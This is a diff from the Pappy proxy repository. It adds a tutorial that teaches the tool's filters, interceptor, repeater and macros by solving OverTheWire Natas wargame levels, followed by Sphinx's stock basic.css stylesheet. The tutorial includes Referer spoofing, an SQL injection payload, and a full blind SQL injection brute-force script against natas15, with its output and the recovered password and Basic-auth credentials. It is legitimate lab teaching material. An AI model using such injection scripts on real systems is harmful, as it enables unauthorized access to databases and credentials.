+This section will explain how to use Pappy's filters to find passwords to levels you've already completed. Every in-scope request and response that goes through Pappy is stored in the ``data.db`` file in your project directory. We can use filter commands to search through these requests to find resposes with passwords.
+
+Filters
++++++++
+
+Here are the commands we'll learn:
+
+1. ``filter <filter string>`` / ``f <filter string>`` Add a filter that limits which requests are included in the current context
+2. ``fu`` Remove the most recently applied filter
+3. ``sr`` Reset the context so that it matches the scope
+4. ``filter_clear`` Remove all filters from the context, including the filters applied by the scope
+5. ``fls`` Show all currently applied filters
+
+The most complicated of these is the ``filter`` command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn't pass the filter will be removed from the context. Most filter strings are of the format ``<field> <comparer> <value>``. For example::
+  
+    host is www.target.org
+
+    field = "host"
+    comparer = "is"
+    value = "www.target.org"
+
+This filter will only match requests whose host is exactly ``www.target.org``. When defining our scope, we applied a filter using a ``containsr`` comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers:
+
+Commonly used fields
+
+* ``all`` The full text of the request and the response
+* ``host`` The hostname of where the request is sent
+* ``path`` The target path of the request. ie ``/path/to/page.php``
+* ``verb`` The HTTP verb. ie ``POST`` or ``GET`` (case sensitive!)
+* ``body`` The data section (the body) of either the request or the response
+
+Commonly used comparers
+
+* ``is <value>`` The field exactly matches the value
+* ``contains <value>`` / ``ct <value>`` The field contains a value
+* ``containsr <regexp>`` / ``ctr <regexp>`` The field matches a regexp. You may want to surround the regexp in quotes since a number of regexp characters are also control characters in the command line
+
+You can find the rest of the fields and comparers (including some more complex ones) in the actual documentation.
+
+Once you've applied some filters, ``ls`` will only show items that pass all the applied filters. If you want to return to viewing all in-scope items, use ``sr``. If you want to remove the last applied filter, use ``fu``.
+
+Finding Passwords
++++++++++++++++++
+While we can't find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly
+
+For natas0 and natas1, the responses had a phrase like "the password is abc123". So we can filter out anything that doesn't have the word "password" in it.::
+
+    pappy> ls
+    ID  Verb  Host                               Path               S-Code                 Req Len  Rsp Len  Time  Mngl
+    52  GET   natas4.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.26  --
+    51  GET   natas4.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.27  --
+    50  GET   natas4.natas.labs.overthewire.org  /                  200 OK                 0        1019     0.27  --
+    49  GET   natas4.natas.labs.overthewire.org  /                  401 Unauthorized       0        479      0.26  --
+    48  GET   natas3.natas.labs.overthewire.org  /s3cr3t/users.txt  200 OK                 0        40       0.27  --
+    46  GET   natas3.natas.labs.overthewire.org  /icons/text.gif    200 OK                 0        229      0.53  --
+    47  GET   natas3.natas.labs.overthewire.org  /icons/back.gif    200 OK                 0        216      0.53  --
+    45  GET   natas3.natas.labs.overthewire.org  /icons/blank.gif   200 OK                 0        148      0.53  --
+    44  GET   natas3.natas.labs.overthewire.org  /s3cr3t/           200 OK                 0        957      0.26  --
+    43  GET   natas3.natas.labs.overthewire.org  /s3cr3t            301 Moved Permanently  0        354      0.27  --
+    42  GET   natas3.natas.labs.overthewire.org  /robots.txt        200 OK                 0        33       0.29  --
+    41  GET   natas3.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.26  --
+    40  GET   natas3.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.28  --
+    39  GET   natas3.natas.labs.overthewire.org  /                  200 OK                 0        923      0.26  --
+    38  GET   natas3.natas.labs.overthewire.org  /                  401 Unauthorized       0        479      0.28  --
+    37  GET   natas2.natas.labs.overthewire.org  /files/users.txt   200 OK                 0        145      0.28  --
+    36  GET   natas2.natas.labs.overthewire.org  /icons/text.gif    200 OK                 0        229      0.47  --
+    35  GET   natas2.natas.labs.overthewire.org  /icons/image2.gif  200 OK                 0        309      0.47  --
+    34  GET   natas2.natas.labs.overthewire.org  /icons/back.gif    200 OK                 0        216      0.47  --
+    33  GET   natas2.natas.labs.overthewire.org  /icons/blank.gif   200 OK                 0        148      0.47  --
+    32  GET   natas2.natas.labs.overthewire.org  /files/            200 OK                 0        1153     0.26  --
+    31  GET   natas2.natas.labs.overthewire.org  /files             301 Moved Permanently  0        353      0.27  --
+    30  GET   natas2.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.27  --
+    29  GET   natas2.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.27  --
+    28  GET   natas2.natas.labs.overthewire.org  /files/pixel.png   200 OK                 0        303      0.27  --
+    pappy> f body ct password
+    pappy> ls
+    ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
+    49  GET   natas4.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.26  --
+    38  GET   natas3.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.28  --
+    37  GET   natas2.natas.labs.overthewire.org  /files/users.txt     200 OK            0        145      0.28  --
+    26  GET   natas2.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+    20  GET   natas.labs.overthewire.org         /js/wechall.js       200 OK            0        1074     0.47  --
+    24  GET   natas.labs.overthewire.org         /js/jquery-1.9.1.js  200 OK            0        268381   1.20  --
+    17  GET   natas1.natas.labs.overthewire.org  /                    200 OK            0        1063     0.30  --
+    14  GET   natas1.natas.labs.overthewire.org  /                    200 OK            0        1063     0.27  --
+    13  GET   natas1.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+    9   GET   natas.labs.overthewire.org         /js/wechall.js       200 OK            0        1074     0.50  --
+    6   GET   natas.labs.overthewire.org         /js/jquery-1.9.1.js  200 OK            0        268381   1.20  --
+    2   GET   natas0.natas.labs.overthewire.org  /                    200 OK            0        918      0.26  --
+    1   GET   natas0.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.26  --
+    pappy>
+
+It looks like requests 2 and 14 are the ones we're looking for (we know the password is on the page and those are the requests to / that have a 200 OK response). Use ``vfs`` to look at the response and you'll get the passwords again! It looks like we also found the password from natas2 (the request to /s3cr3t/users.txt).
+
+Anyways, back to Natas!
+
+Natas 4
+-------
+When we visit this page, we get an error saying that they will only display the password if we visit from ``http://natas5.natas.labs.overthewire.org/``. How does a website track where you came from? The Referer header! Where's that defined? In a header! Do we control the headers? Yes! So all we have to do is set the Referer header to be the correct URL and we're golden.
+
+To do this, we'll be using Pappy's interceptor. The interceptor lets you stop a request from the browser, edit it, then send it to the server. These are the commands we're going to learn:
+
+* ``ic <req|rsp>+`` Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command. ``ic req`` will only intercept requests, ``ic rsp`` will only intercept responses, and ``ic req rsp`` will intercept both.
+
+In this case, we only want to intercept requests, so we'll run ``ic req``::
+
+  pappy> ic req
+
+And we'll get a screen that says something like::
+
+  Currently intercepting: Requests
+  0 item(s) in queue.
+  Press 'n' to edit the next item or 'q' to quit interceptor.
+
+Now refresh the page in your browser. The page will hang like it's taking a long time to load. Go back to Pappy, and now the interceptor will say something like::
+
+  Currently intercepting: Requests
+  1 item(s) in queue.
+  Press 'n' to edit the next item or 'q' to quit interceptor.
+
+Press ``n`` and the request will be opened for editing! Which editor is used is defined by the ``EDITOR`` environment variable. Use the text editor to add a ``Referer`` header (note that there's only one r)::
+
+  GET / HTTP/1.1
+  Host: natas4.natas.labs.overthewire.org
+  User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
+  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+  Accept-Language: en-US,en;q=0.5
+  Accept-Encoding: gzip, deflate
+  Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664
+  Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
+  Connection: keep-alive
+  Cache-Control: max-age=0
+  Referer: http://natas5.natas.labs.overthewire.org/
+
+Save and quit, then press ``q`` to quit the interceptor. Go back to the browser and you should have the password for natas5! Yay!
+
+Now if you run ls, you'll notice that the request we made has a ``q`` in the ``Mngl`` column. This means that we mangled the request. If there's an ``s`` in that column, it means we mangled the response. If we ever want to refer to the unmangled version of the request, just prefix the id with a u. For example, you can get the unmangled version of request ``12`` by using the id ``u12``.
+
+Natas 5
+-------
+
+This one starts with a screen saying you're not logged in. This is fine. For this one, you'll need to use the interceptor to edit the value of a cookie. I'll let you figure that one out.
+
+Natas 6
+-------
+
+This one you should be able to get
+
+Natas 7
+-------
+
+You should get this one. Note the hint on the `overthewire website <http://overthewire.org/wargames/natas/>`_: All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
+
+Natas 8
+-------
+
+You should be able to get this one. If it sucks, google it.
+
+Natas 9
+-------
+
+For this one, when you view the source you'll notice they're taking value you entered and inserting it directly into a command line command to grep a file. What we want to do is insert our own arguments to the command. For this one, we will learn how to use the repeater. Here is the command we will learn:
+
+* ``rp <reqid>`` Open the vim repeater with the given request
+* ``<leader>f`` (In the repeater) forward the request
+  
+.. note::
+   Use ``:wq!`` to quit the repeater without having to save buffers
+  
+.. note::
+   You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key `here <https://stackoverflow.com/questions/1764263/what-is-the-leader-in-a-vimrc-file>`_. By default <leader> is bound to ``\``.
+   
+Submit a request then open that request in the repeater::
+
+  pappy> ls
+  196  GET   natas9.natas.labs.overthewire.org  /index.php?needle=ball&submit=Search      200 OK            0        1686     0.27  --
+  195  GET   natas9.natas.labs.overthewire.org  /index-source.html                        200 OK            0        1952     0.27  --
+  ... snip ...
+  pappy> rp 196
+
+Vim will open up in a vertical split with the request on the left and the response on the right.
+
+In the repeater, you edit the response on the left, then press the ``<leader>`` key then ``f`` to submit the modified request (note that your cursor must be in the left window). The response will then be put in the right window. This makes it easy to quickly make requests which are all slight variations of each other.
+
+In this case, we'll be editing the ``needle`` get parameter. Try changing "ball" to "bill" and submitting it. You'll notice that the output in the right window changes to contain words that have the word "bill" in them. The repeater will make it easy to make tweaks to your payload and get quick feedback without having to use the browser.
+
+Use the repeater to solve this challenge (you may need to url encode some characters by hand, unfortunately).
+
+Skip a few... Natas 15
+----------------------
+All the challenges up to this point should be doable with the repeater/interceptor. Natas15 is where things get hairy though. This is a blind SQL injection, and you'll have to write a script to do it. Luckily for us, writing scripts using Pappy is easy. If you're lazy and don't want to actually do the challenges, google the password for natas15 then come back.
+
+Commands we'll learn:
+
+* ``gma <name> <reqid(s)>`` Generate a macro with objects pre-defined for the given requests
+* ``lma`` Load macros
+* ``rma <name> [args]`` Run a macro, optionally with arguments
+
+So the first thing we'll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn't exist. Now we'll generate a macro and use that request as a base for our script::
+
+  pappy> ls
+  ID   Verb  Host                                Path                                      S-Code            Req Len  Rsp Len  Time  Mngl
+  224  POST  natas15.natas.labs.overthewire.org  /index.php                                200 OK            14       937      0.27  --
+  223  POST  natas15.natas.labs.overthewire.org  /index.php                                200 OK            12       937      0.27  --
+  222  GET   natas15.natas.labs.overthewire.org  /index-source.html                        200 OK            0        3325     0.28  --
+  221  GET   natas15.natas.labs.overthewire.org  /favicon.ico                              404 Not Found     0        308      0.25  --
+  220  GET   natas15.natas.labs.overthewire.org  /favicon.ico                              404 Not Found     0        308      0.27  --
+  219  GET   natas15.natas.labs.overthewire.org  /                                         200 OK            0        1049     0.37  --
+  218  GET   natas15.natas.labs.overthewire.org  /                                         401 Unauthorized  0        480      0.27  --
+  ... snip ...
+
+  pappy> gma brute 224
+  Wrote script to macro_brute.py
+  pappy>
+
+Now open up ``macro_brute.py`` in your favorite text editor. You should have a script that looks like this::
+
+  from pappyproxy.http import Request, get_request, post_request
+  from pappyproxy.context import set_tag
+  
+  MACRO_NAME = 'Macro 41855887'
+  SHORT_NAME = ''
+  
+  ###########
+  ## Requests
+  # It's suggested that you call .copy() on these and then edit attributes
+  # as needed to create modified requests
+  ##
+  
+  
+  req1 = Request((
+      'POST /index.php HTTP/1.1\r\n'
+      'Host: natas15.natas.labs.overthewire.org\r\n'
+      'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
+      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
+      'Accept-Language: en-US,en;q=0.5\r\n'
+      'Accept-Encoding: gzip, deflate\r\n'
+      'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
+      'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
+      'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
+      'Connection: keep-alive\r\n'
+      'Content-Type: application/x-www-form-urlencoded\r\n'
+      'Content-Length: 14\r\n'
+      '\r\n'
+      'username=admin'
+  ))
+  
+  
+  def run_macro(args):
+      # Example:
+      # req = req0.copy() # Copy req0
+      # req.submit() # Submit the request to get a response
+      # print req.response.raw_headers # print the response headers
+      # req.save() # save the request to the data file
+      # or copy req0 into a loop and use string substitution to automate requests
+      pass
+
+Pappy will generate a script and create a ``Request`` object that you can use. Check out the real documentation to see everything you can do with a ``Request`` object. For now you just need to know a few things about it:
+
+* :func:`~pappyproxy.http.Request.submit` Submit the request and store the response object
+* :func:`~pappyproxy.http.Request.save` Save the request/response to the data file
+* ``post_params`` A :class:`~pappyproxy.http.RepeatableDict` that represents the post parameters of the request. Can set/get prameters the same way as a dictionary.
+  
+It is suggested you go through the documentation to learn the rest of the attributes/functions.
+
+To start out simple, we'll write a macro that lets us check a username from the Pappy console. To define a function, you define the ``run_macro`` function. The function is passed a list of arguments which represent the arguments entered. Here a ``run_macro`` function that we can define that will check if a user exists::
+
+    def run_macro(args):
+        to_check = args[0] # get the username to check
+        r = req1.copy() # make a copy of the base request
+        r.post_params['username'] = to_check # set the username param of the request
+        r.submit() # submit the request
+        if "This user doesn't exist." in r.response.raw_data: # check if the username is valid
+            print "%s is not a user" % to_check
+        else:
+            print "%s is a user!" % to_check
+
+Then to run it::
+
+  pappy> lma
+  Loaded "<Macro Macro 41855887 (brute)>"
+  pappy> rma brute admin
+  admin is not a user
+  pappy> rma brute fooooo
+  fooooo is not a user
+  pappy> rma brute natas16
+  natas16 is a user!
+  pappy>
+
+Awesome! Notice how we didn't have to deal with authentication either. This is because the authentication is handled by the ``Authorization`` header which was included in the generated request.
+
+Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username::
+  
+  $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
+
+So to escape it, we use a payload like::
+
+  username" OR 1=1; #
+
+In this case, any username that ends in ``" OR 1=1; #`` will be considered a valid username. Let's try this out::
+
+  pappy> rma brute "foo\" OR 1=1;"
+  foo" OR 1=1; is a user!
+  pappy> rma brute "fooooooo\" OR 1=1;"
+  fooooooo" OR 1=1; is a user!
+  pappy>
+
+Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the ``password`` column. We do this with the ``ASCII`` and ``SUBSTRING`` functions. So something like this will check if the first character is an ``A``.::
+
+  'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #'
+
+Alright, let's update our macro to find the first character of the password.::
+
+  from pappyproxy.http import Request, get_request, post_request
+  from pappyproxy.context import set_tag
+  
+  MACRO_NAME = 'Macro 41855887'
+  SHORT_NAME = ''
+  
+  ###########
+  ## Requests
+  # It's suggested that you call .copy() on these and then edit attributes
+  # as needed to create modified requests
+  ##
+  
+  
+  req1 = Request((
+      'POST /index.php HTTP/1.1\r\n'
+      'Host: natas15.natas.labs.overthewire.org\r\n'
+      'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
+      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
+      'Accept-Language: en-US,en;q=0.5\r\n'
+      'Accept-Encoding: gzip, deflate\r\n'
+      'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
+      'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
+      'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
+      'Connection: keep-alive\r\n'
+      'Content-Type: application/x-www-form-urlencoded\r\n'
+      'Content-Length: 14\r\n'
+      '\r\n'
+      'username=admin'
+  ))
+  
+  def check_char(char, pos):
+      payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
+      r = req1.copy()
+      r.post_params['username'] = payload
+      r.submit()
+      if "This user doesn't exist." in r.response.raw_data:
+          return False
+      else:
+          return True
+  
+  def run_macro(args):
+      valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
+      for c in valid_chars:
+          print 'Trying %s...' % c
+          if check_char(c, 1):
+              print '%s is the first char!' % c
+              return
+      print "The script didn't work"
+
+And when we run it...::
+
+  pappy> lma
+  Loaded "<Macro Macro 41855887 (brute)>"
+  pappy> rma brute
+  Trying a...
+  Trying b...
+  Trying c...
+  Trying d...
+  ... snip ...
+  Trying U...
+  Trying V...
+  Trying W...
+  W is the first char!
+  pappy>
+
+We find the first character! Woo! Next we just have to do this for each position. Even through we don't know the length of the password, we will know that the password is over when none of the characters are valid. So let's update our macro::
+
+  import sys
+  from pappyproxy.http import Request, get_request, post_request
+  from pappyproxy.context import set_tag
+  
+  MACRO_NAME = 'Macro 41855887'
+  SHORT_NAME = ''
+  
+  ###########
+  ## Requests
+  # It's suggested that you call .copy() on these and then edit attributes
+  # as needed to create modified requests
+  ##
+  
+  
+  req1 = Request((
+      'POST /index.php HTTP/1.1\r\n'
+      'Host: natas15.natas.labs.overthewire.org\r\n'
+      'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
+      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
+      'Accept-Language: en-US,en;q=0.5\r\n'
+      'Accept-Encoding: gzip, deflate\r\n'
+      'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
+      'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
+      'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
+      'Connection: keep-alive\r\n'
+      'Content-Type: application/x-www-form-urlencoded\r\n'
+      'Content-Length: 14\r\n'
+      '\r\n'
+      'username=admin'
+  ))
+  
+  def check_char(char, pos):
+      payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
+      r = req1.copy()
+      r.post_params['username'] = payload
+      r.submit()
+      if "This user doesn't exist." in r.response.raw_data:
+          return False
+      else:
+          return True
+  
+  def run_macro(args):
+      valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
+      password = ''
+      done = False
+      while True:
+          done = True
+          for c in valid_chars:
+              # Print the current char to the current line
+              print c,
+              sys.stdout.flush()
+  
+              # Check the current char
+              if check_char(c, len(password)+1):
+                  # We got the correct char!
+                  password += c
+                  # Print it to the screen
+                  print ''
+                  print '%s is char %d!' % (c, len(password)+1)
+                  print 'The password so far is %s' % password
+                  # We have to do another round
+                  done = False
+                  break
+          if done:
+              # We got through the entire alphabet
+              print ''
+              print 'Done! The password is "%s"' % password
+              break
+
+Then we run it::
+
+  pappy> lma
+  Loaded "<Macro Macro 41855887 (brute)>"
+  pappy> rma brute
+  a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W
+  W is char 1!
+  The password so far is W
+  a
+  a is char 2!
+  The password so far is Wa
+  a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I
+  I is char 3!
+  The password so far is WaI
+  a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H
+  H is char 4!
+  The password so far is WaIH
+  a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E
+
+  ... snip ...
+
+  The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nh
+  a b c d e f g h i j k l m
+  m is char 31!
+  The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhm
+  a b c d e f g h
+  h is char 32!
+  The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
+  a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 0
+  Done! The password is "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
+  pappy>
+
+Boom! There it is!
+
+Conclusion
+==========
+
+That's pretty much all you need to get started with Pappy. Make sure to go through the documentation to learn about all the other features that weren't covered in this tutorial. Hopefully you didn't find Pappy too hard to use and you'll consider it for your next engagement.

docs/build/html/_static/basic.css

@@ -0,0 +1,599 @@
+/*
+ * basic.css
+ * ~~~~~~~~~
+ *
+ * Sphinx stylesheet -- basic theme.
+ *
+ * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS.
+ * :license: BSD, see LICENSE for details.
+ *
+ */
+
+/* -- main layout ----------------------------------------------------------- */
+
+div.clearer {
+    clear: both;
+}
+
+/* -- relbar ---------------------------------------------------------------- */
+
+div.related {
+    width: 100%;
+    font-size: 90%;
+}
+
+div.related h3 {
+    display: none;
+}
+
+div.related ul {
+    margin: 0;
+    padding: 0 0 0 10px;
+    list-style: none;
+}
+
+div.related li {
+    display: inline;
+}
+
+div.related li.right {
+    float: right;
+    margin-right: 5px;
+}
+
+/* -- sidebar --------------------------------------------------------------- */
+
+div.sphinxsidebarwrapper {
+    padding: 10px 5px 0 10px;
+}
+
+div.sphinxsidebar {
+    float: left;
+    width: 230px;
+    margin-left: -100%;
+    font-size: 90%;
+}
+
+div.sphinxsidebar ul {
+    list-style: none;
+}
+
+div.sphinxsidebar ul ul,
+div.sphinxsidebar ul.want-points {
+    margin-left: 20px;
+    list-style: square;
+}
+
+div.sphinxsidebar ul ul {
+    margin-top: 0;
+    margin-bottom: 0;
+}
+
+div.sphinxsidebar form {
+    margin-top: 10px;
+}
+
+div.sphinxsidebar input {
+    border: 1px solid #98dbcc;
+    font-family: sans-serif;
+    font-size: 1em;
+}
+
+div.sphinxsidebar #searchbox input[type="text"] {
+    width: 170px;
+}
+
+div.sphinxsidebar #searchbox input[type="submit"] {
+    width: 30px;
+}
+
+img {
+    border: 0;
+    max-width: 100%;
+}
+
+/* -- search page ----------------------------------------------------------- */
+
+ul.search {
+    margin: 10px 0 0 20px;
+    padding: 0;
+}
+
+ul.search li {
+    padding: 5px 0 5px 20px;
+    background-image: url(file.png);
+    background-repeat: no-repeat;
+    background-position: 0 7px;
+}
+
+ul.search li a {
+    font-weight: bold;
+}
+
+ul.search li div.context {
+    color: #888;
+    margin: 2px 0 0 30px;
+    text-align: left;
+}
+
+ul.keywordmatches li.goodmatch a {
+    font-weight: bold;
+}
+
+/* -- index page ------------------------------------------------------------ */
+
+table.contentstable {
+    width: 90%;
+}
+
+table.contentstable p.biglink {
+    line-height: 150%;
+}
+
+a.biglink {
+    font-size: 1.3em;
+}
+
+span.linkdescr {
+    font-style: italic;
+    padding-top: 5px;
+    font-size: 90%;
+}
+
+/* -- general index --------------------------------------------------------- */
+
+table.indextable {
+    width: 100%;
+}
+
+table.indextable td {
+    text-align: left;
+    vertical-align: top;
+}
+
+table.indextable dl, table.indextable dd {
+    margin-top: 0;
+    margin-bottom: 0;
+}
+
+table.indextable tr.pcap {
+    height: 10px;
+}
+
+table.indextable tr.cap {
+    margin-top: 10px;
+    background-color: #f2f2f2;
+}
+
+img.toggler {
+    margin-right: 3px;
+    margin-top: 3px;
+    cursor: pointer;
+}
+
+div.modindex-jumpbox {
+    border-top: 1px solid #ddd;
+    border-bottom: 1px solid #ddd;
+    margin: 1em 0 1em 0;
+    padding: 0.4em;
+}
+
+div.genindex-jumpbox {
+    border-top: 1px solid #ddd;
+    border-bottom: 1px solid #ddd;
+    margin: 1em 0 1em 0;
+    padding: 0.4em;
+}
+
+/* -- general body styles --------------------------------------------------- */
+
+a.headerlink {
+    visibility: hidden;
+}
+
+h1:hover > a.headerlink,
+h2:hover > a.headerlink,
+h3:hover > a.headerlink,
+h4:hover > a.headerlink,
+h5:hover > a.headerlink,
+h6:hover > a.headerlink,
+dt:hover > a.headerlink,
+caption:hover > a.headerlink,
+p.caption:hover > a.headerlink,
+div.code-block-caption:hover > a.headerlink {
+    visibility: visible;
+}
+
+div.body p.caption {
+    text-align: inherit;
+}
+
+div.body td {
+    text-align: left;
+}
+
+.field-list ul {
+    padding-left: 1em;
+}
+
+.first {
+    margin-top: 0 !important;
+}
+
+p.rubric {
+    margin-top: 30px;
+    font-weight: bold;
+}
+
+img.align-left, .figure.align-left, object.align-left {
+    clear: left;
+    float: left;
+    margin-right: 1em;
+}
+
+img.align-right, .figure.align-right, object.align-right {
+    clear: right;
+    float: right;
+    margin-left: 1em;
+}
+
+img.align-center, .figure.align-center, object.align-center {
+  display: block;
+  margin-left: auto;
+  margin-right: auto;
+}
+
+.align-left {
+    text-align: left;
+}
+
+.align-center {
+    text-align: center;
+}
+
+.align-right {
+    text-align: right;
+}
+
+/* -- sidebars -------------------------------------------------------------- */
+
+div.sidebar {
+    margin: 0 0 0.5em 1em;
+    border: 1px solid #ddb;
+    padding: 7px 7px 0 7px;
+    background-color: #ffe;
+    width: 40%;
+    float: right;
+}
+
+p.sidebar-title {
+    font-weight: bold;
+}
+
+/* -- topics ---------------------------------------------------------------- */
+
+div.topic {
+    border: 1px solid #ccc;
+    padding: 7px 7px 0 7px;
+    margin: 10px 0 10px 0;
+}
+
+p.topic-title {
+    font-size: 1.1em;
+    font-weight: bold;
+    margin-top: 10px;
+}
+
+/* -- admonitions ----------------------------------------------------------- */
+
+div.admonition {
+    margin-top: 10px;
+    margin-bottom: 10px;
+    padding: 7px;
+}
+
+div.admonition dt {
+    font-weight: bold;
+}
+
+div.admonition dl {
+    margin-bottom: 0;
+}
+
+p.admonition-title {
+    margin: 0px 10px 5px 0px;
+    font-weight: bold;
+}
+
+div.body p.centered {
+    text-align: center;
+    margin-top: 25px;
+}
+
+/* -- tables ---------------------------------------------------------------- */
+
+table.docutils {
+    border: 0;
+    border-collapse: collapse;
+}
+
+table caption span.caption-number {
+    font-style: italic;
+}
+
+table caption span.caption-text {
+}
+
+table.docutils td, table.docutils th {
+    padding: 1px 8px 1px 5px;
+    border-top: 0;
+    border-left: 0;
+    border-right: 0;
+    border-bottom: 1px solid #aaa;
+}
+
+table.field-list td, table.field-list th {
+    border: 0 !important;
+}
+
+table.footnote td, table.footnote th {
+    border: 0 !important;
+}
+
+th {
+    text-align: left;
+    padding-right: 5px;
+}
+
+table.citation {
+    border-left: solid 1px gray;
+    margin-left: 1px;
+}
+
+table.citation td {
+    border-bottom: none;
+}
+
+/* -- figures --------------------------------------------------------------- */
+
+div.figure {
+    margin: 0.5em;
+    padding: 0.5em;
+}
+
+div.figure p.caption {
+    padding: 0.3em;
+}
+
+div.figure p.caption span.caption-number {
+    font-style: italic;
+}
+
+div.figure p.caption span.caption-text {
+}
+
+
+/* -- other body styles ----------------------------------------------------- */
+
+ol.arabic {
+    list-style: decimal;
+}
+
+ol.loweralpha {
+    list-style: lower-alpha;
+}
+
+ol.upperalpha {
+    list-style: upper-alpha;
+}
+
+ol.lowerroman {
+    list-style: lower-roman;
+}
+
+ol.upperroman {
+    list-style: upper-roman;
+}
+
+dl {
+    margin-bottom: 15px;
+}
+
+dd p {
+    margin-top: 0px;
+}
+
+dd ul, dd table {
+    margin-bottom: 10px;
+}
+
+dd {
+    margin-top: 3px;
+    margin-bottom: 10px;
+    margin-left: 30px;
+}
+
+dt:target, .highlighted {
+    background-color: #fbe54e;
+}
+
+dl.glossary dt {
+    font-weight: bold;
+    font-size: 1.1em;
+}
+
+.field-list ul {
+    margin: 0;
+    padding-left: 1em;
+}
+
+.field-list p {
+    margin: 0;
+}
+
+.optional {
+    font-size: 1.3em;
+}
+
+.sig-paren {
+    font-size: larger;
+}
+
+.versionmodified {
+    font-style: italic;
+}
+
+.system-message {
+    background-color: #fda;
+    padding: 5px;
+    border: 3px solid red;
+}
+
+.footnote:target  {
+    background-color: #ffa;
+}
+
+.line-block {
+    display: block;
+    margin-top: 1em;
+    margin-bottom: 1em;
+}
+
+.line-block .line-block {
+    margin-top: 0;
+    margin-bottom: 0;
+    margin-left: 1.5em;
+}
+
+.guilabel, .menuselection {
+    font-family: sans-serif;
+}
+
+.accelerator {
+    text-decoration: underline;
+}
+
+.classifier {
+    font-style: oblique;
+}
+
+abbr, acronym {
+    border-bottom: dotted 1px;
+    cursor: help;
+}
+
+/* -- code displays --------------------------------------------------------- */
+
+pre {
+    overflow: auto;
+    overflow-y: hidden;  /* fixes display issues on Chrome browsers */
+}
+
+td.linenos pre {
+    padding: 5px 0px;
+    border: 0;
+    background-color: transparent;
+    color: #aaa;
+}
+
+table.highlighttable {
+    margin-left: 0.5em;
+}
+
+table.highlighttable td {
+    padding: 0 0.5em 0 0.5em;
+}
+
+div.code-block-caption {
+    padding: 2px 5px;
+    font-size: small;
+}
+
+div.code-block-caption code {
+    background-color: transparent;
+}
+
+div.code-block-caption + div > div.highlight > pre {
+    margin-top: 0;
+}
+
+div.code-block-caption span.caption-number {
+    padding: 0.1em 0.3em;
+    font-style: italic;
+}
+
+div.code-block-caption span.caption-text {
+}
+
+div.literal-block-wrapper {
+    padding: 1em 1em 0;
+}
+
